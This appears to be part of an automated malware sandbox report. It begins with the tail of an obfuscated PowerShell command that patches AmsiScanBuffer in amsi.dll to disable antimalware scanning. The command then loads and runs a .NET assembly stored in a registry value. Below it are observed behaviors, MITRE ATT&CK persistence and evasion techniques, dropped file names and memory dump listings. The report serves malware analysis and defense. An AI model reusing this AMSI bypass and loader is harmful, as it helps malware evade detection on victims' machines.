xOWSDjSIZplVY,$XOAgqXSNrpzczfIbcMt).Invoke('am'+[Char](115)+'i.'+'d'+''+[Char](108)+'l');$RDJJWrcVXoUIxZAUy=$QMtQCXwItSnxwk.Invoke($Null,@([Object]$akODRpm,[Object]('Am'+[Char](115)+'i'+[Char](83)+''+'c'+''+[Char](97)+'n'+'B'+''+[Char](117)+''+[Char](102)+''+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$CsHoRcuLcF=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ntehMCIUTDwnrLCTN,$AKsNcqhpRyVOZQKYCBpQdD).Invoke($RDJJWrcVXoUIxZAUy,[uint32]8,4,[ref]$CsHoRcuLcF);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](226-95),[Byte](59+133),[Byte](199-199),[Byte](50+134),[Byte](29+58),[Byte](238-238),[Byte](143-136),[Byte](148-20),[Byte](28+103),[Byte](248-55),[Byte](41-41),[Byte](79+116),[Byte](12+125),[Byte](118+92)),0,$RDJJWrcVXoUIxZAUy,218-204);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ntehMCIUTDwnrLCTN,$AKsNcqhpRyVOZQKYCBpQdD).Invoke($RDJJWrcVXoUIxZAUy,[uint32]8,0x20,[ref]$CsHoRcuLcF);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+[Char](70)+''+'T'+''+[Char](87)+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue('$S'+[Char](72)+''+[Char](115)+''+'t'+''+[Char](97)+''+[Char](103)+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)""2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
-
C:\Windows\system32\UsoClient.exeC:\Windows\system32\usoclient.exe1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Power Settings
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
File and Directory Permissions Modification
2Windows File and Directory Permissions Modification
1Modify Registry
1Virtualization/Sandbox Evasion
2Discovery
Query Registry
5Remote System Discovery
1System Information Discovery
2System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
1Internet Connection Discovery
1System Time Discovery
1Virtualization/Sandbox Evasion
2Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
__PSScriptPolicyTest_i0a2mfsy.xru.ps1
Schedule Maintenance Work
Schedule Maintenance Work
Schedule Wake To Work
Schedule Wake To Work
Schedule Work
Schedule Work
Win-v42.exe
memory/532-123-0x00007FFCC9C10000-0x00007FFCC9C20000-memory.dmp
memory/532-122-0x00000241E2A70000-0x00000241E2A9B000-memory.dmp
memory/532-117-0x00000241E2A70000-0x00000241E2A9B000-memory.dmp
memory/616-66-0x000001D4B85E0000-0x000001D4B85E5000-memory.dmp
memory/616-68-0x000001D4B8880000-0x000001D4B8889000-memory.dmp
memory/616-67-0x000001D4B8880000-0x000001D4B8889000-memory.dmp
memory/616-76-0x000001D4B8D60000-0x000001D4B8D86000-memory.dmp
memory/616-73-0x000001D4B8880000-0x000001D4B8889000-memory.dmp
memory/616-74-0x000001D4B8880000-0x000001D4B8889000-memory.dmp
memory/616-75-0x000001D4B8880000-0x000001D4B8889000-memory.dmp
memory/616-77-0x000001D4B8D90000-0x000001D4B8DBB000-memory.dmp
memory/616-78-0x000001D4B8D90000-0x000001D4B8DBB000-memory.dmp
memory/672-86-0x000001BA51DB0000-0x000001BA51DDB000-memory.dmp
memory/672-91-0x000001BA51DB0000-0x000001BA51DDB000-memory.dmp
memory/672-92-0x00007FFCC9C10000-0x00007FFCC9C20000-memory.dmp
memory/876-102-0x00007FFCC9C10000-0x00007FFCC9C20000-memory.dmp
memory/876-96-0x0000027AE6330000-0x0000027AE635B000-memory.dmp
memory/876-101-0x0000027AE6330000-0x0000027AE635B000-memory.dmp
memory/1012-107-0x00000158BDB00000-0x00000158BDB2B000-memory.dmp
memory/1012-112-0x00000158BDB00000-0x00000158BDB2B000-memory.dmp
memory/1012-113-0x00007FFCC9C10000-0x00007FFCC9C20000-memory.dmp
memory/1044-133-0x0000021D3F9B0000-0x0000021D3F9DB000-memory.dmp
memory/1044-128-0x0000021D3F9B0000-0x0000021D3F9DB000-memory.dmp
memory/1044-134-0x00007FFCC9C10000-0x00007FFCC9C20000-memory.dmp
memory/1124-145-0x00007FFCC9C10000-0x00007FFCC9C20000-memory.dmp
memory/1124-139-0x00000175BBCE0000-0x00000175BBD0B000-memory.dmp
memory/1124-144-0x00000175BBCE0000-0x00000175BBD0B000-memory.dmp
memory/1136-150-0x0000026CC7590000-0x0000026CC75BB000-memory.dmp
memory/1136-155-0x0000026CC7590000-0x0000026CC75BB000-memory.dmp
memory/1136-156-0x00007FFCC9C10000-0x00007FFCC9C20000-memory.dmp
memory/1240-160-0x000001EBCEDB0000-0x000001EBCEDDB000-memory.dmp
memory/1240-166-0x00007FFCC9C10000-0x00007FFCC9C20000-memory.dmp
memory/1240-165-0x000001EBCEDB0000-0x000001EBCEDDB000-memory.dmp
memory/1280-176-0x00007FFCC9C10000-0x00007FFCC9C20000-memory.dmp
memory/1280-175-0x00000194C0A50000-0x00000194C0A7B000-memory.dmp
memory/1280-170-0x00000194C0A50000-0x00000194C0A7B000-memory.dmp
memory/1296-185-0x00000163CBF50000-0x00000163CBF7B000-memory.dmp
memory/1296-180-0x00000163CBF50000-0x00000163CBF7B000-memory.dmp
memory/1296-186-0x00007FFCC9C10000-0x00007FFCC9C20000-memory.dmp
memory/1344-190-0x000001FEADF70000-0x000001FEADF9B000-memory.dmp
memory/1344-195-0x000001FEADF70000-0x000001FEADF9B000-memory.dmp
memory/1344-196-0x00007FFCC9C10000-0x00007FFCC9C20000-memory.dmp
memory/1400-205-0x0000026985D30000-0x0000026985D5B000-memory.dmp
memory/1400-206-0x00007FFCC9C10000-0x00007FFCC9C20000-memory.dmp
memory/1400-200-0x0000026985D30000-0x0000026985D5B000-memory.dmp
memory/1440-216-0x00007FFCC9C10000-0x00007FFCC9C20000-memory.dmp
memory/1440-210-0x0000020C3ACB0000-0x0000020C3ACDB000-memory.dmp
memory/1440-215-0x0000020C3ACB0000-0x0000020C3ACDB000-memory.dmp
memory/1516-220-0x0000016059700000-0x000001605972B000-memory.dmp
memory/1516-225-0x0000016059700000-0x000001605972B000-memory.dmp
memory/1516-226-0x00007FFCC9C10000-0x00007FFCC9C20000-memory.dmp
memory/1608-236-0x00007FFCC9C10000-0x00007FFCC9C20000-memory.dmp
memory/1608-230-0x0000020C06D30000-0x0000020C06D5B000-memory.dmp
memory/1608-235-0x0000020C06D30000-0x0000020C06D5B000-memory.dmp
memory/1680-245-0x000001B97CD90000-0x000001B97CDBB000-memory.dmp
memory/1680-240-0x000001B97CD90000-0x000001B97CDBB000-memory.dmp
memory/1680-246-0x00007FFCC9C10000-0x00007FFCC9C20000-memory.dmp
memory/1696-250-0x000001E52CB60000-0x000001E52CB8B000-memory.dmp
memory/1696-255-0x000001E52CB60000-0x000001E52CB8B000-memory.dmp
memory/1696-256-0x00007FFCC9C10000-0x00007FFCC9C20000-memory.dmp
memory/3948-148-0x00000000007B0000-0x00000000007DC000-memory.dmp
memory/4080-63-0x00007FFD09B90000-0x00007FFD09D85000-memory.dmp
memory/4080-65-0x00007FFD08680000-0x00007FFD0873E000-memory.dmp
memory/4080-64-0x00007FFD07640000-0x00007FFD07909000-memory.dmp
memory/4080-62-0x000002DFFB970000-0x000002DFFB99C000-memory.dmp
memory/4148-13-0x0000022FF3C10000-0x0000022FF3C20000-memory.dmp
memory/4344-0-0x000002A44F9D0000-0x000002A44F9E0000-memory.dmp
memory/4344-4-0x000002A468150000-0x000002A468172000-memory.dmp
memory/4344-1-0x000002A44F9D0000-0x000002A44F9E0000-memory.dmp